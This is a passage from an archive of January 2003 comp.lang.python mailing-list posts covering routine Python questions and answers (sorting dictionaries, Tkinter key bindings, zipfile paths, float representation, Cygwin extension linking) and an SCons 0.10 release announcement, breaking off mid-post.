From pan-newsreader at thomas-guettler.de  Wed Jan 29 12:11:25 2003
From: pan-newsreader at thomas-guettler.de (Thomas Guettler)
Date: Wed, 29 Jan 2003 18:11:25 +0100
Subject: sorting dictionaries by value
References: <v3f4qvg7f66nee@corp.supernews.com>
Message-ID: <pan.2003.01.29.18.11.25.281377.724@thomas-guettler.de>

On Wed, 29 Jan 2003 09:39:52 +0100, Hilbert wrote:

> Hello,
> 
> I have the following dictionary:
> 
>>>> dict = {
> ... "one" : { "red" : 23, "blue" : 99 }, ... "two" : { "red" : 43,
> "blue" : 17 }, ... "three" : { "red" : 34, "blue" : 65 }, ... "four" : {
> "red" : 36, "blue" : 38 } }
> 
> I'd like to print the value of  "blue" sorted and the corresponding key
> of dict, like:
> 
> 17 "two"
> 38 "four"
> 65 "three"
> 99 "one"

Hi Hilbert, 

I would do it like this:

d={"one" : { "red" : 23, "blue" : 99 },
   "two" : { "red" : 43, "blue" : 17 },
   "three" : { "red" : 34, "blue" : 65 },
   "four" : { "red" : 36, "blue" : 38 }
   }

blue_list=[]
for key, value in d.items():
    blue_list.append([value["blue"], key])

def blue_cmp(a, b):
    return cmp(a[0], b[0])

blue_list.sort(blue_cmp)
print blue_list

# --> [[17, 'two'], [38, 'four'], [65, 'three'], [99, 'one']]

-- 
Thomas Guettler <guettli at thomas-guettler.de>
http://www.thomas-guettler.de



From jzgoda at usun.gazeta.pl  Tue Jan  7 14:42:08 2003
From: jzgoda at usun.gazeta.pl (Jarek Zgoda)
Date: Tue, 7 Jan 2003 19:42:08 +0000 (UTC)
Subject: ANN: Python and DB2 Tutorial on IBM developerWorks
References: <v1m8vm5ema367@corp.supernews.com>
Message-ID: <slrn.pl.b1mao8.sgf.jzgoda@kotek.home>

Patrick K. O'Brien <pobrien at orbtech.com> pisze:

> My Python and DB2 for Linux tutorial was recently published by IBM:
> 
> https://www6.software.ibm.com/reg/devworks/dw-db2pylnx-i?S_TACT=102B7W91&S_CMP=DB2DD
> 
> Python is a great tool to use with DB2. It combines the ability to quickly 
> and simply access a DB2 database with the power to perform more complex 
> tasks that require a general purpose programming language.

And don't forget, that Python is one of only few languages, that offer
native access do DB2/400. Of course, when working on iSeries (formerly
known as AS/400). ;)

-- 
Jarek Zgoda
http://www.zgoda.biz/
jabber:jarek at jabberpl.org|ICQ:178306476|GG:3422968|Tlen:jzgoda



From wichelman at hotmail.com  Mon Jan 20 07:11:40 2003
From: wichelman at hotmail.com (Allan Wichelman)
Date: Mon, 20 Jan 2003 19:11:40 +0700
Subject: my favs
Message-ID: <b0gp1r$mec$1@news.ksc.co.th>








From nav at adams.patriot.net  Fri Jan 17 15:36:28 2003
From: nav at adams.patriot.net (Nick Vargish)
Date: 17 Jan 2003 15:36:28 -0500
Subject: iterating in reverse
References: <f57664b9.0301161546.37c85159@posting.google.com> <3E274D34.8F0C4348@alcyone.com> <f57664b9.0301170105.a7d95fa@posting.google.com> <x7el7b4qiv.fsf@guru.mired.org> <yyywul3skw6.fsf@adams.patriot.net> <mailman.1042830935.18722.python-list@python.org>
Message-ID: <yyyk7h3secz.fsf@adams.patriot.net>

Cliff Wells <LogiplexSoftware at earthlink.net> writes:

>     val = list(str(val))

Argh. Like I said, too much cold symptom suppressor. Or maybe too much
blood in my caffeine system. That's much cleaner than 

map(lambda x: x, str(val))

Groan... :^)

Nick

-- 
#include<stdio.h> /* SigMask 0.3 (sig.c) 19990429 PUBLIC DOMAIN "Compile Me" */
int main(c,v)char *v;{return !c?putchar(*v-1)&&main(0,v+ /* Tweaks welcomed. */
1):main(0,"Ojdl!Wbshjti!=obwAqbusjpu/ofu?\v\1");}  /* build: cc -o sig sig.c */



From mwh at python.net  Thu Jan 30 07:20:03 2003
From: mwh at python.net (Michael Hudson)
Date: Thu, 30 Jan 2003 12:20:03 GMT
Subject: best way to do some simple tasks
References: <c42e062e.0301291531.6a656e4@posting.google.com> <mailman.1043884154.31487.python-list@python.org> <x7of5z1ci3.fsf@guru.mired.org>
Message-ID: <7h3isw6ygmv.fsf@pc150.maths.bris.ac.uk>

Mike Meyer <mwm at mired.org> writes:

> Jp Calderone <exarkun at intarweb.us> writes:
> > On Wed, Jan 29, 2003 at 03:31:59PM -0800, Erik Lechak wrote:
> > > 3) What is the best way to do this?
> > > 
> > >    a=[1,2,3]
> > >    b=[1,1,1]
> > >    
> > >    how do I get c=a+b (c=[2,3,4])?
> > > 
> >      import operator
> >      c = map(operator.add, a, b)
> 
> You can save the import with a bit of extra ugliness:
> 
>         c = map(int.__add__, a, b)

But then you lose polymorphism:

>>> int.__add__(1.0, 2.0)
Traceback (most recent call last):
  File "<stdin>", line 1, in ?
TypeError: descriptor '__add__' requires a 'int' object but received a 'float'

Cheers,
M.

-- 
  But since I'm not trying to impress  anybody in The Software Big
  Top, I'd rather walk the wire using a big pole, a safety harness,
  a net, and with the wire not more than 3 feet off the ground.
                                   -- Grant Griffin, comp.lang.python



From pnagel at nagel.co.za  Sat Jan  4 06:36:12 2003
From: pnagel at nagel.co.za (Pieter Nagel)
Date: Sat, 04 Jan 2003 13:36:12 +0200
Subject: new years resolutions
In-Reply-To: <3E159EC6.CC98EB08@engcorp.com>
References: <mailman.1041550805.3550.python-list@python.org> <pcn2va.go3.ln@beastie.ix.netcom.com> <3E150202.4CB9A9B2@engcorp.com> <x77kdm98f8.fsf@guru.mired.org> <3E159EC6.CC98EB08@engcorp.com>
Message-ID: <2282.3e16c72c.ed40b@basilisk>

Peter Hansen wrote:
> Mike Meyer wrote:

>>Personally, I think that insisting that programming languages be
>>turing complete is a better definition
...
> That's another definition and, as it's clearly more constraining,
> possibly a more useful one.  It's not widely used, however,

Ahem. Which circles do *you* hang out in? :-)

Turing Completeness has been the one and only rigorous mathematicall 
definition of "programming language" for *decades*, now.

-- 
      ,_
      /_)              /| /
     /   i e t e r    / |/ a g e l
     http://www.nagel.co.za




From cben at techunix.technion.ac.il  Mon Jan 13 11:47:21 2003
From: cben at techunix.technion.ac.il (Beni Cherniavsky)
Date: Mon, 13 Jan 2003 18:47:21 +0200
Subject: syntax for preset locals without using dummy args with defaults
In-Reply-To: <Pine.GSO.4.44_heb2.09.0301131612370.4790-100000@techunix.technion.ac.il>
References: <avmoeu$v8p$0@216.39.172.122> <dqycnYAwFISbyIKjXTWc2Q@comcast.com>
 <avo5ir$m9h$0@216.39.172.122> <3E1FAA5F.F426AB6F@alcyone.com>
 <avpspr$r9v$0@216.39.172.122> <Pine.GSO.4.44_heb2.09.0301131612370.4790-100000@techunix.technion.ac.il>
Message-ID: <Pine.GSO.4.44_heb2.09.0301131828100.4790-100000@techunix.technion.ac.il>

On 2003-01-13, Beni Cherniavsky wrote:

> 2. I see no elegant syntax to allow multiple bindings on the same level
>   (e.g. let and not "poor-man's let*").  For multiple bindings that
>   are not inter-dependent, nesting the lets is visually sub-optimal...
>   The closest thing in python for simultatneous bindings is augmented
>   assignment but it was not designed for this case (no var-value pairs
>   ordering and doesn't continue for many lines).
>
Sorry, by "augmented assignments" I meant tuple assignments, like:

a, b = foo(), bar()

> > I think if it became a convention to set up bindings to module elements
> > etc, and do other expensive one-time things in the preset: suite, we would
> > see both less clutter in the function code body and better speed.
> >
>
What I forgot to say here is that from my lisp/scheme experince, I was
doing "manual common subexpression elimination" all around, binding almost
every thing that appeared at least twice with let.  It really felt as
a very elegant and readable way to code.

I'm frequently coding in Python in a similar way, making lot's of little
assignments.  I feel some guilt for polluting the namespace :-).  I figure
that a let statement would be very handy for me.  Sure, I will abuse it
for closures :-).

> > Conceivably on could write a source-transforming optimizer to hoist builtin
> > dotted module references into the preset suite, as a start. Maybe with
> > some hints it could hoist other global refsas well. It might be an
> > alternative to complex runtime global access optimizations.
> >
> They are not that complex, especially PEP 267.  If the only use for this
> is proving clean syntax for manual optimization of global lookups, I'm
> against it.  I do think that a let construct could be very useful beyond
> optimizations, as I said above.
>
Here I refered to the part I forgot ;-)

-- 
Beni Cherniavsky <cben at tx.technion.ac.il>

Holy resolution for a holy war: the Torah stores most numbers as
little-endian (e.g. "seven and twenty and a hundred years")!






From dkt at registriesltd.com.au  Thu Jan 16 00:39:41 2003
From: dkt at registriesltd.com.au (David K. Trudgett)
Date: Thu, 16 Jan 2003 16:39:41 +1100
Subject: FW: Switch statements again
In-Reply-To: <15910.14790.560885.524643@montanaro.dyndns.org>; from skip@pobox.com on Wed, Jan 15, 2003 at 10:49:10PM -0600
References: <E4AA6173DD435B45956B8E5F685B49452702F3@hyperspace.synchrologic.com> <1042672900.3e25ed04a5f1a@www.progoth.com> <20030116143057.B1683@regdp-02.intint.registriesltd.com.au> <15910.14790.560885.524643@montanaro.dyndns.org>
Message-ID: <20030116163941.D1683@regdp-02.intint.registriesltd.com.au>

On Wednesday 2003-01-15 at 22:49:10 -0600, Skip Montanaro wrote:
> 
>     David> Python should get a case/switch statement, ...
> 
> A fair amount of thought has been put into this topic.  Have a look at PEP
> 275:
> 
>     http://www.python.org/peps/pep-0275.html

That's interesting. I didn't know about that. What's Guido's take on
it? (Since he seems to be the "Python Dictator".)

Personally, I would go with the syntax change. Or maybe we should all
switch to Lisp and write our own macros to do the job, eh??? :-)))
Speaking of which, if it weren't OT, I'd be asking how Lisp does a
switch statement...


> 
> and see if you can help advance it.  There's even a patch which implements
> some portion of the PEP.

Unfortunately, I don't have any experience in language design, so I'd
just be getting in the way. Besides, there's always the time excuse
that everyone uses... :-)

Thanks for the pointer.

David Trudgett





From jepler at unpythonic.net  Wed Jan  8 19:45:56 2003
From: jepler at unpythonic.net (Jeff Epler)
Date: Wed, 8 Jan 2003 18:45:56 -0600
Subject: Tkinter keybindings
In-Reply-To: <kumhva.h54.ln@anto.cuni.lan>
References: <3n6cva.n64.ln@anto.cuni.lan> <avfjij$bcb$1@news2.tilbu1.nb.home.nl> <kumhva.h54.ln@anto.cuni.lan>
Message-ID: <20030108184556.A1243@unpythonic.net>

On Wed, Jan 08, 2003 at 05:25:39PM +0000, Antonio Cuni wrote:
> I knew the effect of ctrl-tab, but it's not what I want: the user of my 
> app wouldn't appreciate the asymettry between entries and text - ideally 
> I have to make them undistinguable. Isn't there a way to override the 
> tab-binding for Text?

Yes.

The exact binding for <Tab> is written in Tcl and varies between releases
of Tk.

The correct way to expose the binding for <Tab> on the "all" widget tag is

t = Tkinter.Tk()
...
t.bind_class("Text", "<Tab>", "# Nothing")

You'll find more information on bindings in Tk's own manpages.  These two
manpages are especially relevant:
    http://tcltk.free.fr/man/TkCmd/bindtags.php3
    http://tcltk.free.fr/man/TkCmd/bind.php3
though these may not correspond to your version of Tcl/Tk.  You may already
have a copy of the manual installed, depending on your OS and how you
installed the Tcl/Tk packages.

Jeff




From tjreedy at udel.edu  Mon Jan  6 13:30:14 2003
From: tjreedy at udel.edu (Terry Reedy)
Date: Mon, 6 Jan 2003 13:30:14 -0500
Subject: Removing Control characters
References: <mailman.1041496573.26425.python-list@python.org> <3E145464.2090802@earthlink.net> <mailman.1041872286.18579.python-list@python.org>
Message-ID: <jhCdnapU-4ZkV4SjXTWcqA@comcast.com>

"Amol Sonaikar" <amol at kenati.com> wrote in message
news:mailman.1041872286.18579.python-list at python.org...
> Hi
>
> In your reply below you have used chr(8) to identify ^H. Can I use
same
> function chr(8) in if statement

chr(8) evaluates to the string '\x08'.  You can use it anywhere you
can use a string.

> for e.g. Similar like
> if line[i] == chr(8):
> i=i+1
> else:
> <  something >

Test things like this with the interactive interpreter.

>>> s='endswith^8\x08'
>>> if s[-1]==chr(8): print 'Hooray'
...
Hooray

> Currently I am getting following error. What can be the correct
syntax
>
>     if str1[i] == chr(8)
>                        ^
> SyntaxError: invalid syntax

That looks fine.  The error might actually be on a previous line.

Terry J. Reedy





From kwalker at earth1.net  Sat Jan 18 14:18:16 2003
From: kwalker at earth1.net (Bill Walker)
Date: Sat, 18 Jan 2003 14:18:16 -0500
Subject: Dos calls in Python
Message-ID: <3e29a7ba_3@corp.newsgroups.com>

Anyway to call dos interrupts from python? I would like to change to
graphics screen mode and call the pixel plot routines in the BIOS to plot
some graphs..




-----= Posted via Newsfeeds.Com, Uncensored Usenet News =-----
http://www.newsfeeds.com - The #1 Newsgroup Service in the World!
-----==  Over 80,000 Newsgroups - 16 Different Servers! =-----



From hwlgw at hotmail.com  Sun Jan 19 08:22:03 2003
From: hwlgw at hotmail.com (Will Stuyvesant)
Date: 19 Jan 2003 05:22:03 -0800
Subject: data bound controls/Boa
References: <Is_V9.440$TM2.220@newssvr19.news.prodigy.com> <tchk2vsf74h450mckj1utagsdefd10nbao@4ax.com>
Message-ID: <cb035744.0301190522.7683311d@posting.google.com>

[Tim Roberts]
> ... Python doesn't have any native GUI, so there's no
> such thing as a "control".  There are add-in modules like wxPython or
> tkInter that give you a GUI interface.

This is not correct.  Tkinter is a standard module that comes with the
default Python installation.  wxPython is an add-in module you have to
download from their website.
On the OT: what is a bounded control??  Would a Tkinter slider control
do?


QOTD:
'''
That curdles my toes.
'''



From fredrik at pythonware.com  Fri Jan  3 03:20:41 2003
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Fri, 03 Jan 2003 08:20:41 GMT
Subject: Accessing a PyInstances dictionary from C++
References: <YTaR9.4650$j94.883590@news02.tsnz.net>
Message-ID: <tJbR9.4152$LY2.241374@newsc.telia.net>

"Lloyd" wrote:

> I'm trying to call a method on a python object from C++. I have a PyInstance
> but can't for figure out how to obtain the dictionary from the instance so
> that I can call the method on the object.

see PyObject_CallMethod and PyObject_CallMethodObjArgs on the
following page:

    http://www.python.org/doc/current/api/object.html

</F>





From makwaiming at yahoo.com  Mon Jan 20 05:43:08 2003
From: makwaiming at yahoo.com (Mak)
Date: 20 Jan 2003 02:43:08 -0800
Subject: Extra C_ directory in using ZipFile
Message-ID: <825b84d0.0301200243.12cd4585@posting.google.com>

Hi All,

I am using zipFile to zip files for backup purpose. Everything seems
to work fine except it create extra C_ directory when I try to unzip
it using winzip 8.0. For example, if I zip up c:\abc\def and unzip
right away. It will create directory tree like c:\C_\abc\def

import zipfile
...
archive= zipfile.ZipFile(filename,'w')
archive.write(filename)
archive.close()

Anyone idea ?

Note: I am using python 2.2

Thanks,

Mak



From peter at engcorp.com  Fri Jan 24 10:06:54 2003
From: peter at engcorp.com (Peter Hansen)
Date: Fri, 24 Jan 2003 10:06:54 -0500
Subject: How to do this in Python...
References: <b0pnfa$o8m2@eccws12.dearborn.ford.com>
Message-ID: <3E31568E.FD9C92B5@engcorp.com>

Michael Tiller wrote:
> 
> I'm puzzled by what seems like a missing piece of functionality in Python.
... 
> In C++, I could write a statement like this:
> 
> if (match=re.match(pattern, string))
>   // do something with the match object
> 
> But I cannot figure out how to do the equivalent thing in Python.  The idea
> here is to have an assignment statement within an if statement so that I
> don't have to call match twice or obfuscate the code.  It seems to me that
> my current options are:
> 
> match = re.match(pattern, string)
> if match:
>   // do something with match object
> 
> -or-
> 
> if re.match(pattern, string):
>     match = re.match(pattern, string)
> 
> The first one seems unnecessarily verbose and the second one is inefficient.
> Are there any other options?

Yes, the third option is this: get rid of the urge to do this, and
the belief that it is a good idea.

Such structures have long been fertile ground for bugs in C and
its children, and reduce the readability of code.  The "functionality"
you want is actually a deprecated feature in some companies, where
assignment-tests like that are outlawed in if/for/while statements.

If you can start to think in this style, your code will become more
readable and you'll have fewer concerns about "missing" functionality
in Python.

-Peter



From jason at tishler.net  Sun Jan 26 00:06:36 2003
From: jason at tishler.net (Jason Tishler)
Date: Sun, 26 Jan 2003 00:06:36 -0500
Subject: newbie: python/C extensions in cygwin
In-Reply-To: <BWHY9.64347$yi6.10452736@twister.nyc.rr.com>
References: <uxAY9.50693$Oj7.10509228@twister.nyc.rr.com>
 <BWHY9.64347$yi6.10452736@twister.nyc.rr.com>
Message-ID: <20030126050636.GF1272@tishler.net>

Mark,

On Sun, Jan 26, 2003 at 02:42:41AM +0000, Mark Higgins wrote:
> Ah - found the prob - cygwin stuck libpython2.2.dll into /bin

Which is correct.  DLLs which are loaded automatically by the Windows
loader instead of dlopen()-ed by the application go in /usr/bin.

> instead of some more reasonable directory like /lib or /usr/lib.

Note, that the import library libpython2.2.dll.a is in
/usr/lib/python2.2/config.

> So I needed -lpython2.2 and -L/bin in the compile line.

No, you need to supply -L/usr/lib/python2.2/config -lpython2.2 while
linking and -DUSE_DL_IMPORT while compiling.  Note that you should link
against the import library instead of directly against the DLL.

BTW, if you use distutils, then the above will happen automatically.

However, your post has got me thinking that maybe make install under
Cygwin should copy libpython2.2.dll.a to /usr/lib too?  This would
facilitate building shared extensions without using a tool like
distutils.

Jason

-- 
PGP/GPG Key: http://www.tishler.net/jason/pubkey.asc or key servers
Fingerprint: 7A73 1405 7F2B E669 C19D  8784 1AFD E4CC ECF4 8EF6




From irmen at NOSPAM-REMOVETHIS-xs4all.nl  Tue Jan  7 19:18:23 2003
From: irmen at NOSPAM-REMOVETHIS-xs4all.nl (Irmen de Jong)
Date: Wed, 08 Jan 2003 01:18:23 +0100
Subject: Is it really good?
In-Reply-To: <mailman.1041979617.22059.python-list@python.org>
References: <mailman.1041979617.22059.python-list@python.org>
Message-ID: <3e1b6e4d$0$49116$e4fe514c@news.xs4all.nl>

Nadav Horesh wrote:
> Can someone explain why python does not raise NameError in the first 
> test line blow.

>  >>> 2 == 3 is good
> 0     # ????????????????????????


At first I thought this was perfectly correct behaviour.
Because Python uses lazy evaluation.

But this is no boolean condition, which is the place I expect
this behaviour (such as "if a==b and c==d: ....").

Why indeed is the "is good" part not evaluated?

By the way if you change it to "3==3 is good", you do get the NamingError.




From alloydflanagan at attbi.com  Fri Jan  3 11:43:39 2003
From: alloydflanagan at attbi.com (A. Lloyd Flanagan)
Date: 3 Jan 2003 08:43:39 -0800
Subject: Best Python Editor (under Linux)
References: <pan.2003.01.02.12.09.57.823588@contillion.com> <87lm23xh06.fsf@gvdnet.dk> <mailman.1041562385.29549.python-list@python.org>
Message-ID: <a8b7f07a.0301030843.7fc13cef@posting.google.com>

Gerhard Haering <gerhard.haering at gmx.de> wrote in message news:<mailman.1041562385.29549.python-list at python.org>...
> > Emacs is the One True Editor:
> 
> It might be an interesting application framework, but i don't like the editor
> part of it, especially the keybindings (yes, I know about viper).
> 
> -- Gerhard

So change 'em.  It's easy.



From dave at pythonapocrypha.com  Mon Jan  6 11:26:55 2003
From: dave at pythonapocrypha.com (Dave Brueck)
Date: Mon, 6 Jan 2003 08:26:55 -0800 (PST)
Subject: Python vs .Net
In-Reply-To: <v1i5tsger4jv81@corp.supernews.com>
References: <PxQR9.45$uS3.4626462@mantis.golden.net> <v1i5tsger4jv81@corp.supernews.com>
Message-ID: <Pine.LNX.4.51.0301060805070.19842@ns0.tbye.com>

On Sun, 5 Jan 2003, Greg Brunet wrote:

> I've been checking out Python for a month or so after using VB for many
> years, and having just completed a 4 month VB.NET project.  Here's a few
> observations that I have:

[snip static typing stuff]

> - In order to write similar programs to VB6/.NET, I've been looking at
> wxPython for the GUI, and wxGlade, PythonCard, and Boa Constructor as
> editors / GUI designers.

Side note: there are other approaches too. For example, some people use
Delphi for building the GUI and do the rest of the program in Python.

[snip more GUI building stuff]
[snip more GUI stuff - data bound controls]
[snip more GUI stuff - robust set of controls]

In talking to VB developers I sometimes get the feeling that they believe
all or nearly all programs have a GUI. Is that just a misconception of
mine or is it generally true? Does the same also apply to .Net developers?
To be honest, very few of my programs have a GUI, and even in the ones
that do have a GUI the real "meat" of the program is rarely the GUI
anyway. Of course it is important to be able to build programs rapidly,
but in determining which tool (language) to use, I generally tend to
weight GUI-building capabilities below, say, code maintainability (yes
there are exceptions, but this current discussion is about generalities).

[snip ADO.NET stuff]

> - It may be that I am too far gone to be able to 'think Pythonically',
> but, at least at this time, it still seems to be quite a bit easier to
> develop a database app in VB6 or .NET than in Python.

Do you really mean "a database app with a GUI" or "any database app"?
Again, relatively few of the database applications (as in, applications
that access a database for something) I've ever done had GUIs, with the
exception of web-based stuff where the GUI was via HTML. And those that
did have GUIs usually presented the data in a way that didn't map all that
directly to the database structure. IOW, the greater divergence of the
presentation from the database schema, the less useful DB-linked controls
become (to me at least).

>  I'll still be investigating Python, and may even be able to contribute
> a few tools some day, but for now, I expect the apps the I write to pay
> the bills will continue to be written in VB6 or .NET (or ASP/VBScript).

Best of luck!

-Dave




From jbperez808 at yahoo.com  Tue Jan 14 23:08:04 2003
From: jbperez808 at yahoo.com (Jonathan P.)
Date: 14 Jan 2003 20:08:04 -0800
Subject: Python loop constructs
Message-ID: <f57664b9.0301142008.6a0888@posting.google.com>

In a couple of old threads, "LOOP wisdom found"
and "do...until wisdom found", someone mentioned
that a construct of the type:

loop:
  do-stuff
  if condition: leave

is the cleanest possible solution and that we
can expect to see something like it for "Python 3K".
But doesn't the present 'while' syntax already give
you all that and more?

while 1:
  do-stuff
  if condition: break

while condition:
  do-stuff

If one thinks of while 1: as an alias for loop: then
I don't find anything objectionable to its usage at all.
In addition:

  while (condition): do-stuff

would be a lot clearer than:

  loop (condition): do-stuff

or

  loop while (condition): do-stuff # YUCK!



From fredp at mygale.org.nospam  Wed Jan 29 04:28:36 2003
From: fredp at mygale.org.nospam (Fred Pacquier)
Date: 29 Jan 2003 09:28:36 GMT
Subject: Simple Web Proxy
References: <memo.20030128171641.1600A@a.radioscape.com>
Message-ID: <Xns931269C51C871PaCmAnRDLM@213.228.0.133>

mark.charsley at REMOVE_THIS.radioscape.com (Mark Charsley) said :

> I'd like a simple web-proxy that 
> - intercepts each HTML page,  
> - passes it through a list of python functions which can, for
> - instance, 
> search for and destroy for links to images on doubleclick.net, 
> particularly offensive Javascript functions,  etc.
> - pass the modified page back to the client.
> 
> A couple of questions:
> 1) does this make sense, or am I suffering from a particularly
> simplistic view of how HTTP works (I'd be shocked if it worked with
> HTTPS for instance)
> 2) is there an existing skeleton out there I could build upon (capable
> of running on 9x or linux with apache: doesn't matter which)

It makes perfect sense and there are many ways to achieve this.

If you really require the engine to be Python (for learning, or 
integration with something else, etc) you should go with the suggestions 
made by others in this thread.

If all you care about is the functionality with a minimum of fuss, under 
Windows you might want to evaluate the Proxomitron, a free local proxy 
that does all of the above and more (including fun stuff with SSL), with 
little or no programming.

-- 
YAFAP : http://www.multimania.com/fredp/



From pyth at devel.trillke.net  Sat Jan 18 22:20:31 2003
From: pyth at devel.trillke.net (holger krekel)
Date: Sun, 19 Jan 2003 04:20:31 +0100
Subject: __parent__ - like attribute?
In-Reply-To: <5.1.1.6.0.20030118165504.01d41718@www.dylanreinhardt.com>; from python@dylanreinhardt.com on Sat, Jan 18, 2003 at 05:23:45PM -0800
References: <av7cuu$cu2$1@slb0.atl.mindspring.net> <YhlS9.24314$NB4.6001@FE05> <just-7E53B7.22115906012003@news1.news.xs4all.nl> <5.1.1.6.0.20030118165504.01d41718@www.dylanreinhardt.com>
Message-ID: <20030119042031.C9768@prim.han.de>

Dylan Reinhardt wrote:
> Seems like this should be easy, but I'm having a tough time figuring out 
> how to change an attribute in a parent object *as a side effect* of a 
> method called on a subobject.

I doubt that this is currently possible to do correctly.  It would
be a bit messy at least.  you can split your problem:

1. getting to the callers 'context' which is represented by a 
   Frame object.  This is easy and the inspect method offers
   a way to do this (inspect.getcurrentframe(1)).

2. find an instance (if any) on which you want to modify attributes.
   And here it gets very difficult.  How would you find it? 
   What if the actual instance just triggered a function 
   doing the actual call?  

Suppose we just want to get "the" instance from the last callers
execution context.  Even then it is kind of hard to get to
the instance.  Or to a bound instance function.  I don't think 
you can simply get to a non-instance function starting from a 
frame object. 

So the answer is: you can't do anything like this without 
defining exact semantics and then doing some "interesting" 
hacks to approximately get that. 

    holger




From peter at engcorp.com  Wed Jan 29 10:51:48 2003
From: peter at engcorp.com (Peter Hansen)
Date: Wed, 29 Jan 2003 10:51:48 -0500
Subject: simple math don't work like I expected
References: <1ac767fa.0301290739.3f20d917@posting.google.com>
Message-ID: <3E37F894.34BD58BB@engcorp.com>

Elvis Zaichenok wrote:
> 
> Please, could somebody explain why things work like this? Why 1.0<1?
> 
> Python 2.2 (#1, Apr 12 2002, 15:29:57)
> [GCC 2.96 20000731 (Red Hat Linux 7.2 2.96-109)] on linux2
> Type "help", "copyright", "credits" or "license" for more information.
> >>> a=1.99
> >>> while a<2.01:
> ...     if (a-1)<1:
> ...         print(str(a-1)+'<1')
> ...     a=a+0.005
> ...
> 0.99<1
> 0.995<1
> 1.0<1

Try this instead, then read the FAQ entry at 
http://www.python.org/cgi-bin/faqw.py?req=show&file=faq04.098.htp

> >>> a=1.99
> >>> while a<2.01:
> ...     if (a-1)<1:
> ...         print repr(a-1),'<1'
> ...     a=a+0.005
> ...
> 0.98999999999999999 <1
> 0.99499999999999988 <1
> 0.99999999999999978 <1

The call to str() is converting the floating point value, which is not
quite 1.0, into a "nice" format for presentation to the user.  repr()
doesn't try to do this, so you will see the "true" values (but see the
FAQ to understand why "true" is a lie too.)

-Peter



From shalehperry at attbi.com  Sun Jan 12 21:37:40 2003
From: shalehperry at attbi.com (Sean 'Shaleh' Perry)
Date: Sun, 12 Jan 2003 18:37:40 -0800
Subject: map() question...
In-Reply-To: <x77kd9ss6o.fsf@guru.mired.org>
References: <ubnU9.50476$DN6.1535465@twister.austin.rr.com> <x77kd9ss6o.fsf@guru.mired.org>
Message-ID: <200301121837.40404.shalehperry@attbi.com>

On Sunday 12 January 2003 18:24, Mike Meyer wrote:
> "Kevin Ethridge" <kevinethridge at yahoo.com> writes:
> > Why doesn't map() work with the print function?
> > ie map(print, ['Have', 'a', 'great', 'day.'])
>
> Because print isn't a function, it's a statement. It will work with
> sys.stdout.write.
>
>         <mike

but sys.stdout.write does not output a newline automatically you need to add a 
\n to the string.  So you end up using a lambda either way.




From knight at baldmt.com  Fri Jan 17 09:54:50 2003
From: knight at baldmt.com (Steven Knight)
Date: Fri, 17 Jan 2003 08:54:50 -0600 (CST)
Subject: ANNOUNCE:  SCons 0.10 (build tool in Python) is now available
Message-ID: <Pine.LNX.4.44.0301170852270.20456-100000@theopera.home.baldmt.com>

SCons is a software construction tool (build tool, or make tool) written
in Python.  It is based on the design which won the Software Carpentry
build tool competition in August 2000.

Version 0.10 of SCons has been released and is available for download
from the SCons web site:

	http://www.scons.org/

Or through the download link at the SCons project page at SourceForge:

	http://sourceforge.net/projects/scons/

RPM and Debian packages and a Win32 installer are all available, in
addition to the traditional .tar.gz and .zip files.


WHAT'S NEW IN THIS RELEASE?

IMPORTANT:  Release 0.10 contains the following interface changes:
  - The meaning of the third argument passed to user-defined Scanner
    functions has changed.  It was formerly the target node being built,
    and is now a list of directories (a path) which may be searched for
    files found during the scan.
  - The .sconsign files are no longer ASCII text, they are now a pickled
    (binary) Python data structure.

This release adds the following features:
  - SCons now prints a description of Python functions being executed as
    actions to update a target.
  - Scanners now support a "recursive" attribute that specifies the
    Scanner will be re-applied to files found during the scan.
  - A new Clean() method supports removing user-specified files when
    using the -c option.
  - New SetJobs() and GetJobs() method support setting or fetching
    the default number of jobs.
  - The MinGW tool chain is now supported.
  - A new --debug=includes option has been added.

The following fixes have been added:
  - SCons now symlinks or copies files from Repositories on different
    file systems, when hard links won't work.
  - The Install() method prints something when the -n option is used.
  - When the -n option is used, SCons no longer creates duplicate source
    files in a BuildDir().
  - The Program() Builder (and other multiple-step Builders) now work
    properly when only the source file is specified.
  - A bug when building a file whose basename matched the
    directory in which it lived has been fixed.
  - The -c options will now properly remove symlinks.
  - The Environment.get() now returns None by default.
  - Error messages now all start with "scons: ***".
  - Warning messages now all start with "scons: warning:".

Performance has been improved as follows:
  - Scanners are now called once and only once per file.
  - Internal checks for whether a file has a Builder have been
    significantly sped up.
  - Unnecessary internal imports have been removed.

The following changes have been made to the SCons packaging:
  - The scons-local packages no longer contain Python bytecode (*.pyc)
    files.

The documentation has been improved:
  - The initial explanation of SConscript files has been improved.
  - A misformatted table in the StaticObject description has been fixed.
  - New features have been documented.


ABOUT SCONS

Distinctive features of SCons include:

  - a global view of all dependencies; no multiple passes to get
    everything built properly
  - configuration files are Python scripts, allowing the full use of a
    real scripting language to solve difficult build problems
  - a modular architecture allows the SCons Build Engine to be
    embedded in other Python software
  - the ability to scan files for implicit dependencies (#include files);
  - improved parallel build (-j) support that provides consistent
    build speedup regardless of source tree layout
  - use of MD5 signatures to decide if a file has really changed; no
    need to "touch" files to fool make that something is up-to-date
  - easily extensible through user-defined Builder and Scanner objects
  - build actions can be Python code, as well as external commands

An scons-users mailing list is available for those interested in getting
started using SCons.  You can subscribe at:

	http://lists.sourceforge.net/lists/listinfo/scons-users

Alternatively, we invite you to subscribe to the low-volume
scons-announce mailing list to receive notification when new versions of
SCons become available:

	http://lists.sourceforge.net/lists/listinfo/scons-announce


ACKNOWLEDGEMENTS

Special thanks to Derrick 'dman' Hudson, Steve Leblanc, Lachlan O'Dea,
and Anthony Roach for their contributions to this release.

On behalf of the SCons team,

	--SK





From phr-n2003b at NOSPAMnightsong.com  Tue Jan 28 15:34:21 2003
From: phr-n2003b at NOSPAMnightsong.com (Paul Rubin)
Date: 28 Jan 2003 12:34:21 -0800
Subject: New Python block cipher API, comments wanted
References: <7x3cneku24.fsf_-_@ruckus.brouhaha.com> <mailman.1043717821.19150.python-list@python.org> <7x3cnexbt1.fsf@ruckus.brouhaha.com> <yyyk7gpmhs4.fsf@adams.patriot.net> <7xisw9grur.fsf@ruckus.brouhaha.com> <yyybs21m67q.fsf@adams.patriot.net>
Message-ID: <7x65s9dnea.fsf@ruckus.brouhaha.com>

Nick Vargish <nav at adams.patriot.net> writes:
> > It's not a "distribution".  It's not really even "software".  It's
> > code intended to be looked at, not used for real data.  
> 
> Oh, okay, sorry. I thought you were trying to get it into the 2.3
> release, which made me think it was intended for distribution and
> production use.

I do want to get a package into the 2.3 release.  The thing I posted
